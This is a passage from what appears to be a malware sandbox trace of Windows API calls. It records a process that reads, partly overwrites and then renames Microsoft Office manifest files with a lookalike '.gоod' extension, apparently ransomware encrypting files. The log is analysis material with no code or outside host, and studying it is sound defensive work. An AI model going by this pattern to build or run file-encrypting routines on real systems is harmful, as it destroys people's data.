lpOldMode=0x1fbee350) returned 1 [0181.421] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x6d [0181.421] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0181.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.powerpivot.powerpivot.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0181.421] GetFileType (hFile=0x818) returned 0x1 [0181.421] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0181.421] GetFileType (hFile=0x818) returned 0x1 [0181.421] SetFilePointer (in: hFile=0x818, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1000 [0181.421] ReadFile (in: hFile=0x818, lpBuffer=0x36deeb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee3b8, lpOverlapped=0x0 | out: lpBuffer=0x36deeb8*, lpNumberOfBytesRead=0x1fbee3b8*=0x1000, lpOverlapped=0x0) returned 1 [0181.423] CloseHandle (hObject=0x818) returned 1 [0181.423] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x6d [0181.423] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0181.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.powerpivot.powerpivot.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0181.423] GetFileType (hFile=0x818) returned 0x1 [0181.423] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0181.423] GetFileType (hFile=0x818) returned 0x1 [0181.423] SetFilePointer (in: hFile=0x818, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0xafddc [0181.423] WriteFile (in: hFile=0x818, lpBuffer=0x36e01f8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbee2d8, lpOverlapped=0x0 | out: lpBuffer=0x36e01f8*, lpNumberOfBytesWritten=0x1fbee2d8*=0x10, lpOverlapped=0x0) returned 1 [0181.425] CloseHandle (hObject=0x818) returned 1 [0181.425] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x6d [0181.425] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0181.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.powerpivot.powerpivot.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0181.425] GetFileType (hFile=0x818) returned 0x1 [0181.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0181.425] GetFileType (hFile=0x818) returned 0x1 [0181.425] ReadFile (in: hFile=0x818, lpBuffer=0x36e25e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee368, lpOverlapped=0x0 | out: lpBuffer=0x36e25e0*, lpNumberOfBytesRead=0x1fbee368*=0x1000, lpOverlapped=0x0) returned 1 [0181.506] CloseHandle (hObject=0x818) returned 1 [0181.506] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x6d [0181.506] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0181.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.powerpivot.powerpivot.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0181.507] GetFileType (hFile=0x818) returned 0x1 [0181.507] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0181.507] GetFileType (hFile=0x818) returned 0x1 [0181.507] WriteFile (in: hFile=0x818, lpBuffer=0x34d98f8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbee418, lpOverlapped=0x0 | out: lpBuffer=0x34d98f8*, lpNumberOfBytesWritten=0x1fbee418*=0x1010, lpOverlapped=0x0) returned 1 [0181.507] CloseHandle (hObject=0x818) returned 1 [0181.507] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x6d [0181.507] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml.gоod", lpFilePart=0x0) returned 0x72 [0181.507] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0181.507] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.powerpivot.powerpivot.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd257bc65, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd257bc65, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x68660cba, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xafdec)) returned 1 [0181.507] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0181.507] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.powerpivot.powerpivot.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.powerpivot.powerpivot.x-none.msi.16.x-none.xml.gоod")) returned 1 [0181.508] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x6d [0181.509] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0181.509] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.powerpoint.powerpoint.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x34e2e18 | out: lpFileInformation=0x34e2e18*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd26acf16, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd26acf16, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd290f4ec, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x195a4)) returned 1 [0181.509] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0181.509] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x6d [0181.509] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0181.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.powerpoint.powerpoint.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0181.510] GetFileType (hFile=0x818) returned 0x1 [0181.510] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0181.510] GetFileType (hFile=0x818) returned 0x1 [0181.510] SetFilePointer (in: hFile=0x818, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1000 [0181.510] ReadFile (in: hFile=0x818, lpBuffer=0x34e3380, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee3b8, lpOverlapped=0x0 | out: lpBuffer=0x34e3380*, lpNumberOfBytesRead=0x1fbee3b8*=0x1000, lpOverlapped=0x0) returned 1 [0181.511] CloseHandle (hObject=0x818) returned 1 [0181.511] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x6d [0181.511] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0181.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.powerpoint.powerpoint.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0181.512] GetFileType (hFile=0x818) returned 0x1 [0181.512] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0181.512] GetFileType (hFile=0x818) returned 0x1 [0181.512] SetFilePointer (in: hFile=0x818, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x195a4 [0181.512] WriteFile (in: hFile=0x818, lpBuffer=0x34e46c0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbee2d8, lpOverlapped=0x0 | out: lpBuffer=0x34e46c0*, lpNumberOfBytesWritten=0x1fbee2d8*=0x10, lpOverlapped=0x0) returned 1 [0181.512] CloseHandle (hObject=0x818) returned 1 [0181.513] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x6d [0181.513] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0181.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.powerpoint.powerpoint.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0181.513] GetFileType (hFile=0x818) returned 0x1 [0181.513] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0181.513] GetFileType (hFile=0x818) returned 0x1 [0181.513] ReadFile (in: hFile=0x818, lpBuffer=0x34e6a28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee368, lpOverlapped=0x0 | out: lpBuffer=0x34e6a28*, lpNumberOfBytesRead=0x1fbee368*=0x1000, lpOverlapped=0x0) returned 1 [0182.197] CloseHandle (hObject=0x818) returned 1 [0182.197] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x6d [0182.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0182.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.powerpoint.powerpoint.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0182.197] GetFileType (hFile=0x818) returned 0x1 [0182.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0182.197] GetFileType (hFile=0x818) returned 0x1 [0182.197] WriteFile (in: hFile=0x818, lpBuffer=0x34e0558*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbee418, lpOverlapped=0x0 | out: lpBuffer=0x34e0558*, lpNumberOfBytesWritten=0x1fbee418*=0x1010, lpOverlapped=0x0) returned 1 [0182.364] CloseHandle (hObject=0x818) returned 1 [0182.773] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x6d [0182.774] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml.gоod", lpFilePart=0x0) returned 0x72 [0182.774] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0182.774] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.powerpoint.powerpoint.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd26acf16, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd26acf16, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x68e930d1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x195b4)) returned 1 [0182.774] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0182.774] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.powerpoint.powerpoint.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.powerpoint.powerpoint.x-none.msi.16.x-none.xml.gоod")) returned 1 [0182.775] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.powerpointmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.powerpointmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5d [0182.775] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0182.775] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.powerpointmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.powerpointmui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x35bc1e0 | out: lpFileInformation=0x35bc1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd33f011b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd33f011b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd35dffce, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x689e)) returned 1 [0182.775] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0182.775] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.powerpointmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.powerpointmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5d [0182.775] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0182.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.powerpointmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.powerpointmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0182.776] GetFileType (hFile=0x630) returned 0x1 [0182.776] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0182.776] GetFileType (hFile=0x630) returned 0x1 [0182.776] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1000 [0182.776] ReadFile (in: hFile=0x630, lpBuffer=0x35bc6c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee3b8, lpOverlapped=0x0 | out: lpBuffer=0x35bc6c8*, lpNumberOfBytesRead=0x1fbee3b8*=0x1000, lpOverlapped=0x0) returned 1 [0182.982] CloseHandle (hObject=0x630) returned 1 [0182.982] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.powerpointmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.powerpointmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5d [0182.982] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0182.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.powerpointmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.powerpointmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0182.982] GetFileType (hFile=0x630) returned 0x1 [0182.983] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0182.983] GetFileType (hFile=0x630) returned 0x1 [0182.983] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x689e [0182.983] WriteFile (in: hFile=0x630, lpBuffer=0x36b8108*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbee2d8, lpOverlapped=0x0 | out: lpBuffer=0x36b8108*, lpNumberOfBytesWritten=0x1fbee2d8*=0x10, lpOverlapped=0x0) returned 1 [0182.985] CloseHandle (hObject=0x630) returned 1 [0182.985] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.powerpointmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.powerpointmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5d [0182.985] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0182.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.powerpointmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.powerpointmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0182.985] GetFileType (hFile=0x630) returned 0x1 [0182.986] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0182.986] GetFileType (hFile=0x630) returned 0x1 [0182.986] ReadFile (in: hFile=0x630, lpBuffer=0x36bb700, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee368, lpOverlapped=0x0 | out: lpBuffer=0x36bb700*, lpNumberOfBytesRead=0x1fbee368*=0x1000, lpOverlapped=0x0) returned 1 [0183.015] CloseHandle (hObject=0x630) returned 1 [0183.015] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.powerpointmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.powerpointmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5d [0183.015] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0183.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.powerpointmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.powerpointmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0183.015] GetFileType (hFile=0x630) returned 0x1 [0183.015] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0183.015] GetFileType (hFile=0x630) returned 0x1 [0183.015] WriteFile (in: hFile=0x630, lpBuffer=0x36ba3f0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbee418, lpOverlapped=0x0 | out: lpBuffer=0x36ba3f0*, lpNumberOfBytesWritten=0x1fbee418*=0x1010, lpOverlapped=0x0) returned 1 [0183.015] CloseHandle (hObject=0x630) returned 1 [0183.015] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.powerpointmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.powerpointmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5d [0183.015] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.powerpointmui.msi.16.en-us.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.powerpointmui.msi.16.en-us.xml.gоod", lpFilePart=0x0) returned 0x62 [0183.015] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0183.015] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.powerpointmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.powerpointmui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd33f011b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd33f011b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x694d5309, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x68ae)) returned 1 [0183.016] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0183.016] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.powerpointmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.powerpointmui.msi.16.en-us.xml"), lpNewFileName="C:\\Program Files\\Microsoft 